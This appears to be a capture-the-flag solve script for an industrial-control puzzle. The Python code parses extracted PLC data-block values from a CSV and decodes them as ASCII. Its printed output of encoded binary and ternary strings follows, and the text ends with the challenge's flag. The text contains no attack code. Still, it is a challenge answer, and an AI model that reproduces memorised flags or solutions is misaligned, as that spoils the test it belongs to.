1import csv2import re3 4def solve_plc_puzzle(csv_file_path):5    """6    Reads the extracted PLC data from a CSV, sorts it by memory address,7    and decodes the hidden ASCII messages.8 9    Args:10        csv_file_path (str): The path to the input CSV file.11    """12    # Dictionaries to store data, mapping a sortable address tuple to its value13    # Format: {(byte_address, bit_address): value}14    db_1002_data = {}15    db_1003_data = {}16 17    # Regex to parse the address string like "DB 1002.DBX 1002.0 BYTE 1"18    address_pattern = re.compile(r'DB (\d+)\.DBX (\d+)\.(\d+)')19 20    try:21        with open(csv_file_path, 'r', newline='', encoding='utf-8') as f:22            reader = csv.DictReader(f)23            for row in reader:24                address_str = row['Address Read']25                # The CSV has space before the value header, handle it.26                value = int(row['Value (Decimal)'])27                28                match = address_pattern.match(address_str)29                if not match:30                    continue31 32                db_num = int(match.group(1))33                byte_addr = int(match.group(2))34                bit_addr = int(match.group(3))35                36                # Use a tuple of integers for easy and correct sorting37                sortable_address = (byte_addr, bit_addr)38 39                if db_num == 1002:40                    db_1002_data[sortable_address] = value41                elif db_num == 1003:42                    db_1003_data[sortable_address] = value43 44    except FileNotFoundError:45        print(f"Error: The file '{csv_file_path}' was not found.")46        return47    except Exception as e:48        print(f"An error occurred: {e}")49        return50 51    # Sort the dictionary keys (addresses) to get the correct logical order52    sorted_keys_1002 = sorted(db_1002_data.keys())53    sorted_keys_1003 = sorted(db_1003_data.keys())54    55    # Convert the sorted values to characters and join them into a string56    # We ignore null bytes (value 0) as they are often used as terminators or padding57    message_1002 = "".join([chr(db_1002_data[key]) for key in sorted_keys_1002 if db_1002_data[key] != 0])58    message_1003 = "".join([chr(db_1003_data[key]) for key in sorted_keys_1003 if db_1003_data[key] != 0])59 60    print("✅ Data processed successfully. Here is the restored content:\n")61    print("="*40)62    print("🔍 Content from Data Block 1002:")63    print("="*40)64    print(message_1002)65    print("\n")66    print("="*40)67    print("🔍 Content from Data Block 1003:")68    print("="*40)69    print(message_1003)70    print("\n")71 72 73# --- Main execution ---74if __name__ == "__main__":75    solve_plc_puzzle('plc_data.csv')

1✅ Data processed successfully. Here is the restored content:23========================================4🔍 Content from Data Block 1002:5========================================60100111001100101011100000100001101010100010001100111101100111000001100010110010100110111001101100110011000110001001110000010110101100001001100110011011001100101001011010110011000111001001101000011010100101101001101000110010100110001001110000010110100110010001100100011011101100010001101000011100000111001001110010011001000110011011001000110010101111101789========================================10🔍 Content from Data Block 1003:11========================================12200120011210211010011101010222111102220200220020021112020012020011112121110122000202201100012111120220121122211001

🚩NepCTF{81e76f18-a36e-f945-4e18-227b489923de}